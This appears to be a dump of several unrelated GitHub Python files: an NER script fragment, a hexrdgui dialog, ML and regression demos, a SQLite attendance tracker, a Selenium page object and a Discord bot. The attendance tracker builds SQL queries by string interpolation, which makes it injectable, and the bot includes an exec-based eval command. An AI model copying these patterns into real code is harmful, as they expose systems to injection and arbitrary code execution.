output.write(untagged)\n finally:\n file.close()\n output.close()\n\n print(\"Complete: \" + str(datetime.now() - startTime) + 's')\n print(\"People: \" + str(len(people)) + '(' + str(len(people.intersection(training_people))) + '/' + str(len(training_people)) + ')')\n print(people)\n print(\"Organizations: \" + str(len(organisations)) + '(' + str(len(organisations.intersection(training_organisations))) + '/' + str(len(training_organisations)) + ')')\n print(organisations)\n print(\"Locations: \" + str(len(locations)) + '(' + str(len(locations.intersection(training_locations))) + '/' + str(len(training_locations)) + ')')\n print(locations)\n print(\"Unknowns: \" + str(len(unknown)))\n print(unknown)\nelse:\n print(check_people('Mr. Patel', ['Mr.', 'Patel']))\n print(check_people('Mr. Lortie', ['Mr.', 'Lortie']))\n print(check_people('Mr. Lortie', ['Mr', '.', 'Lortie']))\n","repo_name":"imattacus/nlp","sub_path":"ner2.py","file_name":"ner2.py","file_ext":"py","file_size_in_byte":19215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"628478502","text":"import copy\nfrom pathlib import Path\n\nimport h5py\nimport numpy as np\n\nfrom hexrd.crystallography import hklToStr\n\nfrom PySide6.QtCore import QTimer\nfrom PySide6.QtWidgets import QFileDialog, QMessageBox\n\nfrom hexrd.instrument import unwrap_dict_to_h5, unwrap_h5_to_dict\n\nfrom hexrdgui.constants import ViewType\nfrom hexrdgui.create_hedm_instrument import create_hedm_instrument\nfrom hexrdgui.hexrd_config import HexrdConfig\nfrom hexrdgui.tree_views.hkl_picks_tree_view import HKLPicksTreeView\nfrom hexrdgui.ui_loader import UiLoader\nfrom hexrdgui.utils.conversions import angles_to_cart, cart_to_angles\nfrom hexrdgui.utils.dicts import ensure_all_keys_match, ndarrays_to_lists\n\n\nclass HKLPicksTreeViewDialog:\n\n def __init__(self, dictionary, coords_type=ViewType.polar, canvas=None,\n parent=None):\n self.ui = UiLoader().load_file('hkl_picks_tree_view_dialog.ui', parent)\n\n self.dictionary = dictionary\n self.tree_view = HKLPicksTreeView(dictionary, coords_type, canvas,\n self.ui)\n self.ui.tree_view_layout.addWidget(self.tree_view)\n\n # Default to a hidden button box\n self.button_box_visible = False\n\n self.update_gui()\n self.setup_connections()\n\n def setup_connections(self):\n self.ui.finished.connect(self.on_finished)\n self.ui.export_picks.clicked.connect(self.export_picks_clicked)\n self.ui.import_picks.clicked.connect(self.import_picks_clicked)\n self.ui.show_overlays.toggled.connect(HexrdConfig()._set_show_overlays)\n self.ui.show_all_picks.toggled.connect(self.show_all_picks_toggled)\n\n HexrdConfig().overlay_config_changed.connect(self.update_gui)\n\n def update_gui(self):\n self.ui.show_overlays.setChecked(HexrdConfig().show_overlays)\n self.ui.show_all_picks.setChecked(self.tree_view.show_all_picks)\n\n def on_finished(self):\n self.tree_view.clear_artists()\n\n def exec(self):\n return self.ui.exec()\n\n def execlater(self):\n QTimer.singleShot(0, lambda: self.exec())\n\n def export_picks_clicked(self):\n selected_file, selected_filter = QFileDialog.getSaveFileName(\n self.ui, 'Export Picks', HexrdConfig().working_dir,\n 'HDF5 files (*.h5 *.hdf5)')\n\n if selected_file:\n HexrdConfig().working_dir = str(Path(selected_file).parent)\n return self.export_picks(selected_file)\n\n def export_picks(self, filename):\n filename = Path(filename)\n\n if filename.exists():\n filename.unlink()\n\n # unwrap_dict_to_h5 unfortunately modifies the data\n # make a deep copy to avoid the modification.\n export_data = {\n 'angular': copy.deepcopy(self.dictionary),\n 'cartesian': self.dict_with_cart_coords,\n }\n\n with h5py.File(filename, 'w') as wf:\n unwrap_dict_to_h5(wf, export_data)\n\n def import_picks_clicked(self):\n selected_file, selected_filter = QFileDialog.getOpenFileName(\n self.ui, 'Import Picks', HexrdConfig().working_dir,\n 'HDF5 files (*.h5 *.hdf5)')\n\n if selected_file:\n HexrdConfig().working_dir = str(Path(selected_file).parent)\n return self.import_picks(selected_file)\n\n def import_picks(self, filename):\n import_data = {}\n with h5py.File(filename, 'r') as rf:\n unwrap_h5_to_dict(rf, import_data)\n\n cart = import_data['cartesian']\n self.validate_import_data(cart, filename)\n self.dictionary = picks_cartesian_to_angles(cart)\n\n # Our tree view is expecting lists rather than numpy arrays.\n # Go ahead and perform the conversion...\n ndarrays_to_lists(self.dictionary)\n self.tree_view.model().config = self.dictionary\n self.tree_view.rebuild_tree()\n self.tree_view.expand_rows()\n\n def validate_import_data(self, data, filename):\n # This will validate and sort the keys to match that of the\n # internal dict we already have.\n # All of the dict keys must match exactly.\n try:\n ret = ensure_all_keys_match(self.dictionary, data)\n except KeyError as e:\n msg = e.args[0]\n msg += f'\\nin file \"{filename}\"\\n'\n msg += '\\nPlease be sure the same settings are being used.'\n\n QMessageBox.critical(self.ui, 'HEXRD', msg)\n raise KeyError(msg)\n\n # Update the validated data\n data.clear()\n data.update(ret)\n\n def show_all_picks_toggled(self):\n self.tree_view.show_all_picks = self.ui.show_all_picks.isChecked()\n\n @property\n def dict_with_cart_coords(self):\n return picks_angles_to_cartesian(self.dictionary)\n\n @property\n def coords_type(self):\n return self.tree_view.coords_type\n\n @coords_type.setter\n def coords_type(self, v):\n self.tree_view.coords_type = v\n\n @property\n def button_box_visible(self):\n return self.ui.button_box.isVisible()\n\n @button_box_visible.setter\n def button_box_visible(self, b):\n self.ui.button_box.setVisible(b)\n\n\ndef convert_picks(picks, conversion_function, **kwargs):\n instr = create_hedm_instrument()\n ret = copy.deepcopy(picks)\n for name, detectors in ret.items():\n is_laue = 'laue' in name\n for detector_name, hkls in detectors.items():\n panel = instr.detectors[detector_name]\n if is_laue:\n for hkl, spot in hkls.items():\n hkls[hkl] = conversion_function([spot], panel, **kwargs)[0]\n continue\n\n # Must be powder\n for hkl, line in hkls.items():\n if len(line) != 0:\n hkls[hkl] = conversion_function(line, panel, **kwargs)\n\n return ret\n\n\ndef picks_angles_to_cartesian(picks):\n return convert_picks(picks, angles_to_cart)\n\n\ndef picks_cartesian_to_angles(picks):\n kwargs = {'eta_period': HexrdConfig().polar_res_eta_period}\n return convert_picks(picks, cart_to_angles, **kwargs)\n\n\ndef generate_picks_results(overlays):\n pick_results = []\n\n for overlay in overlays:\n # Convert hkls to numpy arrays\n hkls = {k: np.asarray(v) for k, v in overlay.hkls.items()}\n extras = {}\n if overlay.is_powder:\n options = {\n 'tvec': overlay.tvec,\n }\n extras['tth_distortion'] = overlay.tth_distortion_dict\n elif overlay.is_laue:\n options = {\n 'crystal_params': overlay.crystal_params,\n 'min_energy': overlay.min_energy,\n 'max_energy': overlay.max_energy,\n }\n\n pick_results.append({\n 'material': overlay.material_name,\n 'type': overlay.type.value,\n 'options': options,\n 'refinements': overlay.refinements_with_labels,\n 'hkls': hkls,\n 'picks': overlay.calibration_picks_polar,\n **extras,\n })\n\n return pick_results\n\n\ndef overlays_to_tree_format(overlays):\n picks = generate_picks_results(overlays)\n return picks_to_tree_format(picks)\n\n\ndef picks_to_tree_format(all_picks):\n def listify(sequence):\n sequence = list(sequence)\n for i, item in enumerate(sequence):\n if isinstance(item, tuple):\n sequence[i] = listify(item)\n\n return sequence\n\n tree_format = {}\n for entry in all_picks:\n hkl_picks = {}\n\n for det in entry['hkls']:\n hkl_picks[det] = {}\n for hkl, picks in zip(entry['hkls'][det], entry['picks'][det]):\n hkl_picks[det][hklToStr(hkl)] = listify(picks)\n\n name = f\"{entry['material']} {entry['type']}\"\n tree_format[name] = hkl_picks\n\n return tree_format\n\n\ndef tree_format_to_picks(tree_format):\n all_picks = []\n for name, entry in tree_format.items():\n material, type = name.split()\n hkls = {}\n picks = {}\n for det, hkl_picks in entry.items():\n hkls[det] = []\n picks[det] = []\n for hkl, cur_picks in hkl_picks.items():\n hkls[det].append(list(map(int, hkl.split())))\n picks[det].append(cur_picks)\n\n current = {\n 'material': material,\n 'type': type,\n 'hkls': hkls,\n 'picks': picks,\n }\n all_picks.append(current)\n\n return all_picks\n","repo_name":"HEXRD/hexrdgui","sub_path":"hexrdgui/calibration/hkl_picks_tree_view_dialog.py","file_name":"hkl_picks_tree_view_dialog.py","file_ext":"py","file_size_in_byte":8442,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"18"} +{"seq_id":"8908346839","text":"from square import square\r\n\r\na = square()\r\n# a.graphic_print()\r\n\r\n#Teste de conversao de coordenadas\r\n# b = a.int_to_coord(4)\r\n# print(b)\r\n# c = a.coord_to_int(b)\r\n# print(c)\r\n\r\n#teste da inner square\r\n#print(a.fields)\r\n# print(a.get_insquare(5))\r\n# b = a.get_insquare(5)\r\n# b.\"inner_sq\"[1][2] = 1\r\n# b[\"inner_sq\"][1][2] = 1\r\n# print(a.fields)\r\n# a.move(6,0,2)\r\n# a.get_insquare(6).print()\r\n# print(a.fields)\r\n# a.print()\r\n\r\n#teste de regras\r\n# b = a.get_insquare(4)\r\n# b.rules[1] = 2\r\n# print(b.rules)\r\n# a.move(4,3,2)\r\n#a.print_owners()\r\n# a.move(4,4,2)\r\n# a.move(4,3,2)\r\n# a.move(4,6,2) \r\n# a.move(2,0,1)\r\n# a.move(2,1,1)\r\n# a.move(2,2,1) # 2 pertence ao 1\r\n# a.move(7,0,1)\r\n# a.move(7,1,1)\r\n# a.move(7,2,1) #7 pertence ao 1\r\n# a.move(7,3,2)\r\n# a.move(7,4,2)\r\n# a.move(7,5,2) # 7 já tem dono\r\n\r\n# a.move(3,0,2)\r\n# a.move(3,3,2)\r\n# a.move(3,6,2) # 3 pertence ao 2\r\n# a.move(3,5,1)\r\n# a.move(3,1,1)\r\n# # \r\na.move(4,3,2)\r\na.move(4,1,1)\r\na.move(3,1,1)\r\na.print_owners()\r\n# ##\r\n# b = a.get_insquare(7)\r\n# c = b.is_filled()\r\nc = 1\r\nprint(c)\r\nc = c ^1\r\nprint(c)","repo_name":"tamiresharumi/TTTGame","sub_path":"teste.py","file_name":"teste.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73189234280","text":"\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nfrom sklearn.linear_model import LinearRegression\nX = np.array([1,2,3,4])\ny = np.array([9,13,14,18])\n\n\n# In[2]:\n\n\n#home-made linear regression model\n\ndef estimate_coef(x, y): \n n = np.size(x)\n avg_x, avg_y = np.mean(x), np.mean(y) \n \n b_1 = (np.sum(y*x) - n*avg_y*avg_x)/(np.sum(x*x) - n*avg_x*avg_x)\n b_0 = avg_y - b_1*avg_x \n \n return(b_0, b_1)\n\ndef lm_hand_made(x,y):\n \n b = estimate_coef(x,y)\n y_pred = b[0]+b[1]*x\n \n return(y_pred)\n\nb = estimate_coef(X, y)\n\n#From Scikit-Learn linear regression model\nlm = LinearRegression()\n\n#X.reshape(-1, 1)\n#y.reshape(-1, 1)\nlm.fit(X.reshape(-1, 1),y.reshape(-1, 1))\n\n\n# In[3]:\n\n\nprint('From home-made linear regression model\\nbeta0: %1.1f\\nbeta1: %1.1f'%(b[0],b[1]))\nprint('From Scikit-Learn linear regression model\\n','%1.1f\\n[%1.1f]'%(lm.intercept_,lm.coef_))\n\n","repo_name":"emily40830/DSIEA_final_competition","sub_path":"final exam/SimpleRegressionSolution.py","file_name":"SimpleRegressionSolution.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"72507579561","text":"from src.logger import logging\nfrom dataclasses import dataclass\nfrom src.exception import CustomException\nimport tensorflow as tf\nimport os\nimport sys\nimport pickle\nfrom src.utils import save_object\nimport mlflow\n\nlogging.info(\"Trainer\")\n@dataclass\nclass ModelTrainerConfig:\n model_pkl_path: str=os.path.join('./artifacts','model.pkl')\n model_h5_path: str=os.path.join('./artifacts','model.h5')\n model_matrix: str=os.path.join('./artifacts','model_m.pkl')\n\n\nclass CreateNN(tf.keras.models.Sequential):\n logging.info(\"Creating NN\")\n def __init__(self,num_outputs):\n super().__init__()\n self.add(tf.keras.layers.Dense(256,activation='relu'))\n self.add(tf.keras.layers.Dense(128,activation='relu'))\n self.add(tf.keras.layers.Dense(num_outputs))\nclass UserNN(CreateNN):\n def __init__(self, num_outputs):\n super().__init__(num_outputs)\n\nclass ItemNN(CreateNN):\n def __init__(self, num_outputs):\n super().__init__(num_outputs)\n\n\nclass ModelTrainer:\n logging.info(\"Model traner config\")\n def __init__(self):\n self.model_config = ModelTrainerConfig()\n \n def initialize_training(self,num_user_features,num_item_features,learning_rate):\n input_user = tf.keras.layers.Input(shape=(num_user_features))\n vu = UserNN(num_outputs=32)(input_user)\n vu = tf.linalg.l2_normalize(vu, axis=1)\n\n input_item = tf.keras.layers.Input(shape=(num_item_features))\n vi = ItemNN(num_outputs=32)(input_item)\n vi = tf.linalg.l2_normalize(vi, axis=1)\n\n output = tf.keras.layers.Dot(axes=1)([vu,vi])\n model = tf.keras.Model([input_user,input_item],output)\n\n tf.random.set_seed(1)\n cost_fn = tf.keras.losses.MeanSquaredError()\n\n opt = tf.keras.optimizers.Adam(learning_rate=learning_rate)\n model.compile(optimizer=opt,loss=cost_fn)\n\n return model\n\n def train(self,epochs,batch_size,user_train,item_train,y_train,model):\n try:\n logging.info(\"Training>>>>>......\")\n tf.random.set_seed(1)\n model.fit([user_train[:, 1:], item_train[:, 1:]], y_train, epochs=epochs,batch_size=batch_size)\n \n\n logging.info('Saving trained model')\n save_object(self.model_config.model_pkl_path,model)\n except Exception as e:\n raise CustomException(e,sys)\n \n def dist_matrix(self,num_item_ft):\n try:\n logging.info('Matrix of distance between movies')\n\n input_item_m = tf.keras.layers.Input(shape=(num_item_ft))\n vm_m = ItemNN(num_outputs=32)(input_item_m) # use the trained item_NN\n vm_m = tf.linalg.l2_normalize(vm_m, axis=1) # incorporate normalization as was done in the original model\n model_m = tf.keras.Model(input_item_m, vm_m) \n\n save_object(self.model_config.model_matrix,model_m)\n logging.info(\"Saved dist_matrix\")\n except Exception as e:\n raise CustomException(e,sys)\n\n \n\n\n\n\n \n","repo_name":"Abdulmateen7827/recommender_system","sub_path":"src/pipeline/training_pipeline.py","file_name":"training_pipeline.py","file_ext":"py","file_size_in_byte":3016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29113536878","text":"import sqlite3 as sql\nimport datetime\nimport pandas as pd\nimport csv\nimport re\n\ndatabase = \"attendDB.db\"\ntoday = datetime.datetime.today().date()\n\ndef initTables():\n\tconnection = sql.connect(database)\n\tstartDate = today\n\tdates = pd.date_range(start = startDate, periods = 4, freq = 'W-SUN') #CHANGE THIS DATE\n\tdateformat = ', '.join([f'\"{i.date()}\" INT' for i in dates])\n\n\tconnection.execute('CREATE TABLE IF NOT EXISTS Members(email TEXT PRIMARY KEY, firstName TEXT, lastName TEXT, needsCredit TEXT, ID TEXT);')\n\n\tconnection.execute(f'CREATE TABLE IF NOT EXISTS AttendanceDates(email TEXT PRIMARY KEY, totalAttendance INT, {dateformat}, \\\n\t\t\t\tFOREIGN KEY (email) REFERENCES Members(email) ON DELETE CASCADE);')\n\n\tconnection.commit()\n\n\ndef pullNameList(filename):\n\tfieldnames = ['Timestamp', 'firstName', 'lastName', 'email', 'needsCredit']\n\twith open(filename, newline='') as csvfile:\n\t\tcontent = csv.DictReader(csvfile, fieldnames=fieldnames)\n\t\treturn list(content)\n\ndef markAttendanceEmail(email):\n\tconnection = sql.connect(database)\n\tvalue = connection.execute(f'SELECT * FROM Members WHERE email = \"{email}\"').fetchone()\n\tif value:\n\t\tpreviouslyMarked = connection.execute(f'SELECT \"{today}\" FROM AttendanceDates WHERE email = \"{email}\"').fetchone()\n\t\tif not previouslyMarked[0]:\n\t\t\tconnection.execute(f'UPDATE AttendanceDates SET \"{today}\" = 1, totalAttendance = totalAttendance + 1 WHERE email = \"{email}\"')\n\t\t\tconnection.commit()\n\t\t\treturn (email, 0)\n\t\treturn (email, 1)\n\treturn None\n\ndef markAttendanceCard(ID):\n\tconnection = sql.connect(database)\n\temail = connection.execute(f'SELECT email FROM Members WHERE ID = \"{ID}\"').fetchone()\n\tif email:\n\t\temail = email[0]\n\t\tpreviouslyMarked = connection.execute(f'SELECT \"{today}\" FROM AttendanceDates WHERE email = \"{email}\"').fetchone()\n\t\tif not previouslyMarked[0]:\n\t\t\tconnection.execute(f'UPDATE AttendanceDates SET \"{today}\" = 1 WHERE email = \"{email}\"')\n\t\t\tconnection.commit()\n\t\t\treturn (email, 0)\n\t\treturn (email, 1)\n\treturn None\n\ndef pullName(email):\n\tconnection = sql.connect(database)\n\tconnection.row_factory = sql.Row\n\tvalue = connection.execute(f'SELECT firstName, lastName FROM Members WHERE email = \"{email}\"')\n\treturn value.fetchone()\n\ndef checkDate():\n\tconnection = sql.connect(database)\n\tconnection.row_factory = sql.Row\n\tvalue = connection.execute('SELECT * from AttendanceDates')\n\tvalueDict = dict(value.fetchall()[0])\n\treturn str(today) in valueDict\n\ndef resetTables():\n\tinitTables()\n\taddMembers(pullNameList('input.csv')[1:])\n\ndef bindCard(email, ID):\n\tconnection = sql.connect(database)\n\tvalue = connection.execute(f'SELECT * FROM Members WHERE email = \"{email}\"').fetchone()\n\tif value:\n\t\tconnection.execute(f'UPDATE Members SET ID = \"{ID}\" WHERE email = \"{email}\"')\n\t\tconnection.commit()\t\t\n\t\treturn email\n\treturn None\n\ndef addMembers(content, single = 0):\n\tconnection = sql.connect(database)\n\tfor member in content:\n\t\tinfo = member['email'], member['firstName'], member['lastName'], member['needsCredit']\n\n\t\tval = connection.execute(f'SELECT * FROM Members WHERE email = \"{info[0]}\"').fetchone()\n\t\tif single and val:\n\t\t\treturn None\n\n\t\tconnection.execute(f'INSERT OR REPLACE INTO Members (email, firstName, lastName, needsCredit) VALUES (\"{info[0]}\", \\\n\t\t\t\"{info[1]}\", \"{info[2]}\", \"{info[3]}\");')\n\n\t\tconnection.execute(f'INSERT OR REPLACE INTO AttendanceDates (email, totalAttendance) VALUES (\"{info[0]}\", 0);')\n\n\tconnection.commit()\n\tif single: return info[1], info[2]\n\n\ndef removeMember(email):\n\tconnection = sql.connect(database)\n\tconnection.row_factory = sql.Row\n\tvalue = connection.execute(f'SELECT * FROM Members WHERE email = \"{email}\"').fetchone()\n\tif value:\n\t\tvalue = dict(value)\n\t\tcur = connection.cursor()\n\t\tcur.executescript(f'PRAGMA foreign_keys = ON; \\\n\t\t\tDELETE FROM Members WHERE email = \"{email}\"')\n\t\tconnection.commit()\t\t\n\t\treturn value['firstName'], value['lastName']\n\treturn None\n\n\nresetTables()\n","repo_name":"Bouzomgi/Updated-Attendence","sub_path":"SQLTool.py","file_name":"SQLTool.py","file_ext":"py","file_size_in_byte":3890,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"25780373923","text":"from selenium.webdriver.common.by import By\n\nfrom BasePage import BasePage\n\n\nclass HomePage(BasePage):\n locator_dictionary = {\n \"welcome_message\": (By.TAG_NAME, 'marquee'), # Welcome To Manager's Page of Guru99 Bank\n \"manager_id\": (By.CSS_SELECTOR, 'td[style=\"color: green\"]')\n }\n\n # title : Guru99 Bank Manager HomePage\n\n def __init__(self, context):\n BasePage.__init__(\n self,\n context.browser,\n base_url='http://www.demo.guru99.com/V4/')\n\n def is_welcome_message_displayed(self):\n return self.find_element(*self.locator_dictionary['welcome_message']).is_displayed()\n\n def is_manager_id_valid(self, manager_id):\n if manager_id in self.find_element(*self.locator_dictionary[\"manager_id\"]).text:\n return True\n else:\n raise AssertionError('manager id is not displayed')\n\n\n","repo_name":"esraaMohamed/Behave","sub_path":"BDD1/features/lib/pages/HomePage.py","file_name":"HomePage.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4849809343","text":"# Libraries i may or may not use\nimport contextlib\nimport csv\nimport io\nimport json\nimport math\nimport os\nimport platform\nimport random\nimport textwrap\nimport traceback\nfrom pathlib import Path\nimport asyncgTTS\n\nimport aiohttp\nimport discord\nfrom datetime import datetime\nfrom discord.ext import commands\nfrom num2words import num2words\nfrom PIL import Image, ImageColor\nfrom time import sleep, time\n\nfrom utils.util import *\n\ncwd = Path(__file__).parents[0]\ncwd = str(cwd)\nprint(f\"{cwd}\\n-----\")\n\n# Defines some stuff idk\nsecrets_file = json.load(open(cwd + \"/secrets.json\"))\ncommand_prefix = \"b:\"\nintents = discord.Intents.all()\nbot = commands.Bot(command_prefix=command_prefix, intents=intents)\nbot.config_token = secrets_file[\"token\"]\nus_words = []\n\n\n# Are yah ready kids?\n@bot.event\nasync def on_ready():\n print(\n f\"Logged in as: {bot.user.name} : {bot.user.id}\\n-----\\nCurrent prefix: '{command_prefix}'\"\n )\n\n with open(\"us_words.csv\") as f:\n reader = csv.reader(f)\n for row in reader:\n us_words.append(row[0])\n\n await bot.change_presence(activity=discord.Game(name=\"Undergoing Renovations\"))\n\n\n# Errors are not pog\n@bot.event\nasync def on_command_error(ctx, error):\n ignored_errors = (commands.CommandNotFound, commands.UserInputError)\n if isinstance(error, ignored_errors):\n return\n\n if isinstance(error, commands.CheckFailure):\n await ctx.reply(\"Stop it. Get some perms.\", mention_author=False)\n\n return error\n\n\n# Runs something whenever a message is sent\n@bot.event\nasync def on_message(message):\n # You are a bold one!\n if \"hello there\" in message.content.lower():\n await message.channel.send(\"General Kenobi!\")\n\n # Pingus pongus\n if (\n f\"<@!{bot.user.id}>\" in message.content\n or f\"<@{bot.user.id}>\" in message.content\n ):\n await message.reply(f\"pingus pongus your mother is {random.choice(us_words)}\")\n\n # Says goodnight to henry\n henry = bot.get_user(289180942583463938)\n goodnight_message = \"gn guys!\"\n\n if message.author == henry and message.content.lower() == goodnight_message:\n sleep(1)\n await message.channel.send(\"gn Henry!\")\n\n # Just because my knee hurts doesn't mean I have arthritis\n if \"ow my knee\" in message.content.lower():\n await message.reply(file=discord.File(\"owmyknee.png\"), mention_author=False)\n\n await bot.process_commands(message)\n\n\n# Reactions and stuff\n@bot.event\nasync def on_reaction_add(reaction, user):\n # Starboard\n if reaction.emoji == \"⭐\" and reaction.count >= config_get(\"minimum_starboard_stars\"):\n starboard_messages = []\n with open(\"starboard.txt\", \"r\") as file:\n starboard_messages = [int(message_id) for message_id in file.read().split(\"\\n\")]\n\n m = reaction.message\n if m.id not in starboard_messages:\n starboard_messages.append(m.id)\n with open(\"starboard.txt\", \"w\") as file:\n file.write(\"\\n\".join([str(message_id) for message_id in starboard_messages]))\n\n embed = discord.Embed(\n colour=m.author.colour,\n description=f\"{m.content}\\n\\n[Click for context]({m.jump_url})\",\n timestamp=datetime.now()\n )\n\n embed.set_author(name=m.author.display_name, icon_url=m.author.avatar_url)\n embed.set_footer(text=f\"{m.guild.name} | {m.channel.name}\")\n\n if m.attachments != [] and \"image\" in m.attachments[0].content_type:\n embed.set_image(url=m.attachments[0].url)\n\n await bot.get_channel(config_get(\"starboard_channel_id\")).send(embed=embed)\n \n\n\n\n\n# Command center\n@bot.command(name=\"test\")\nasync def test(ctx):\n \"\"\"\n A simple test command\n \"\"\"\n test_grades = [\"an A\", \"a B\", \"a C\", \"a D\", \"an F\"]\n\n await ctx.send(f\"{ctx.author.mention} got {random.choice(test_grades)}\")\n\n\n@bot.command(name=\"info\")\nasync def info(ctx):\n \"\"\"\n Gives info about Botnobi\n \"\"\"\n python_version = platform.python_version()\n dpy_version = discord.__version__\n server_count = len(bot.guilds)\n user_count = len(set(bot.get_all_members()))\n\n embed = discord.Embed(\n title=f\":information_source: Botnobi\",\n description=\"\\uFEFF\",\n color=ctx.guild.me.color,\n timestamp=ctx.message.created_at,\n )\n\n embed.add_field(\n name=\"<:github:1022443922133360640>\",\n value=\"[Repo](https://github.com/MysticalApple/Botnobi)\",\n )\n embed.add_field(name=\"Python Version\", value=python_version)\n embed.add_field(name=\"Discord.py Version\", value=dpy_version)\n embed.add_field(name=\"Servers\", value=server_count)\n embed.add_field(name=\"Users\", value=user_count)\n embed.add_field(name=\"Bot Creator\", value=\"<@!595719716560175149>\")\n\n embed.set_footer(text=f\"As of\")\n embed.set_author(name=ctx.guild.me.display_name,\n icon_url=bot.user.avatar_url)\n\n await ctx.send(embed=embed)\n\n\n@bot.command(name=\"disconnect\")\n@commands.is_owner()\nasync def disconnect(ctx):\n \"\"\"\n Takes Botnobi offline\n \"\"\"\n await ctx.send(\"Disconnecting...\")\n await bot.logout()\n\n\n@bot.command(name=\"eval\")\n@commands.is_owner()\nasync def eval(ctx, *, code):\n \"\"\"\n Runs python code\n \"\"\"\n code = clean_code(code)\n\n local_variables = {\"discord\": discord,\n \"commands\": commands, \"bot\": bot, \"ctx\": ctx}\n\n stdout = io.StringIO()\n\n try:\n with contextlib.redirect_stdout(stdout):\n exec(\n f\"async def func():\\n{textwrap.indent(code, ' ')}\", local_variables)\n\n obj = await local_variables[\"func\"]()\n result = f\"py\\n‌{stdout.getvalue()}\\n\"\n\n except Exception as e:\n result = \"\".join(traceback.format_exception(e, e, e.__traceback__))\n\n await ctx.send(f\"```{result}```\")\n\n\n@bot.command(name=\"sheep\")\nasync def sheep(ctx):\n \"\"\"\n Sends a sheep\n \"\"\"\n await ctx.send(\n \"```\\n ,ww\\n wWWWWWWW_)\\n `WWWWWW'\\n II II```\"\n )\n\n\n@bot.command(name=\"emotize\")\nasync def emotize(ctx, *, message):\n \"\"\"\n Converts text into discord emojis\n \"\"\"\n output = \"\"\n\n for l in message:\n if l == \" \":\n output += l\n elif l == \"\\n\":\n output += l\n elif l.isdigit():\n numword = num2words(l)\n output += f\":{numword}:\"\n elif l.isalpha():\n l = l.lower()\n output += f\":regional_indicator_{l}:\"\n\n await ctx.send(output)\n\n\n@bot.command(name=\"inspire\")\nasync def inspire(ctx):\n \"\"\"\n Uses InspiroBot to generate an inspirational quote\"\n \"\"\"\n async with ctx.typing():\n async with aiohttp.ClientSession() as session:\n async with session.get(\"https://inspirobot.me/api?generate=true\") as resp:\n r = await resp.text()\n await ctx.send(r)\n\n\n@bot.command(name=\"color\")\nasync def color(ctx, *, hex):\n \"\"\"\n Sends a square of a solid color\n \"\"\"\n try:\n color = ImageColor.getrgb(hex)\n\n except:\n await ctx.reply(\n \"Valid color codes can be found here: https://pillow.readthedocs.io/en/stable/reference/ImageColor.html\",\n mention_author=False,\n )\n\n img = Image.new(\"RGBA\", (480, 480), color=color)\n img.save(\"color.png\")\n await ctx.send(file=discord.File(\"color.png\"))\n\n\n@bot.command(name=\"stackify\")\nasync def stackify(ctx, count: int):\n \"\"\"\n Converts an item count into Minecraft stacks\n \"\"\"\n stacks = math.floor(count / 64)\n items = count % 64\n await ctx.send(f\"{count} items can fit into {stacks} stacks and {items} items.\")\n\n\n@bot.command(name=\"shulkify\")\nasync def shulkify(ctx, count: int):\n \"\"\"\n Converts an item count into Minecraft shulkers (and stacks)\n \"\"\"\n shulkers = math.floor(count / 64 / 27)\n stacks = math.floor(count / 64) % 27\n items = count % 64\n await ctx.send(f\"{count} items can fit into {shulkers} shulkers, {stacks} stacks, and {items} items.\")\n\n\n@bot.command(name=\"toggle\")\n# Checks that user is Harvite\n@commands.has_role(999078830973136977)\nasync def toggle(ctx, feature):\n \"\"\"\n Toggles any boolean value in config.json\n \"\"\"\n\n # Loads in config.json as a dict\n with open(\"config.json\", \"r\") as config_file:\n config = json.load(config_file)\n\n # Toggles the value if it is a valid bool\n try:\n if type(config[feature]) == bool:\n config[feature] = not config[feature]\n\n with open(\"config.json\", \"w\") as config_file:\n json.dump(config, config_file)\n\n await ctx.send(f\"{feature} has been toggled to {config[feature]}\")\n\n else:\n raise\n\n # Returns an error if the value is not a bool or if it does not exist\n except:\n await ctx.send(f\"{feature} is not a valid toggleable value\")\n\n\n@bot.command(name=\"configset\")\n# Checks that user is Harvite\n@commands.has_role(999078830973136977)\nasync def configset(ctx, feature, value):\n \"\"\"\n Sets any value in config.json\n \"\"\"\n try:\n config_set(feature, int(value))\n await ctx.send(f\"I think it worked\")\n\n except:\n await ctx.send(f\"Something went wrong\")\n \n\n# Runs code whenever someone leaves the server\n@bot.event\nasync def on_member_remove(member):\n # Checks that the leaver left the correct server\n if member.guild.id == 710932856251351111 and config_get(\"leave_log\"):\n # Sets the channel to the one specificied in config.json\n channel = bot.get_channel(config_get(\"alerts_channel_id\"))\n join_date = member.joined_at\n\n # Creates an embed with info about who left and when\n # Format shamelessly stolen (and slightly changed) from https://github.com/ky28059\n embed = discord.Embed(\n description=f\"{member.mention} {member}\",\n color=member.color,\n )\n\n embed.set_author(name=\"Member left the server\",\n icon_url=member.avatar_url)\n embed.set_footer(\n text=f\"Joined: {join_date.month}/{join_date.day}/{join_date.year}\"\n )\n\n # Sends it\n await channel.send(embed=embed)\n\n\n@bot.command(name=\"delete\")\n@commands.is_owner()\nasync def delete(ctx, channel_id: int, message_id: int):\n \"\"\"\n Deletes a specified message in a specified channel\n \"\"\"\n channel = bot.get_channel(channel_id)\n message = await channel.fetch_message(message_id)\n await message.delete()\n\n\n@bot.command(name=\"join\")\nasync def join(ctx):\n \"\"\"\n Joins the voice channel that the user is in\n \"\"\"\n if not ctx.message.author.voice:\n await ctx.reply(\"You should join a voice channel first\", mention_author=False)\n\n else:\n channel = ctx.author.voice.channel\n await channel.connect()\n await ctx.guild.change_voice_state(\n channel=channel, self_mute=False, self_deaf=True\n )\n await ctx.message.add_reaction(\"⏫\")\n\n\n@bot.command(name=\"leave\")\nasync def leave(ctx):\n \"\"\"\n Leaves the voice channel that it is currently in\n \"\"\"\n voice_client = ctx.guild.voice_client\n\n if voice_client:\n await voice_client.disconnect()\n await ctx.message.add_reaction(\"⏬\")\n\n else:\n await ctx.reply(\"I'm not in a voice channel 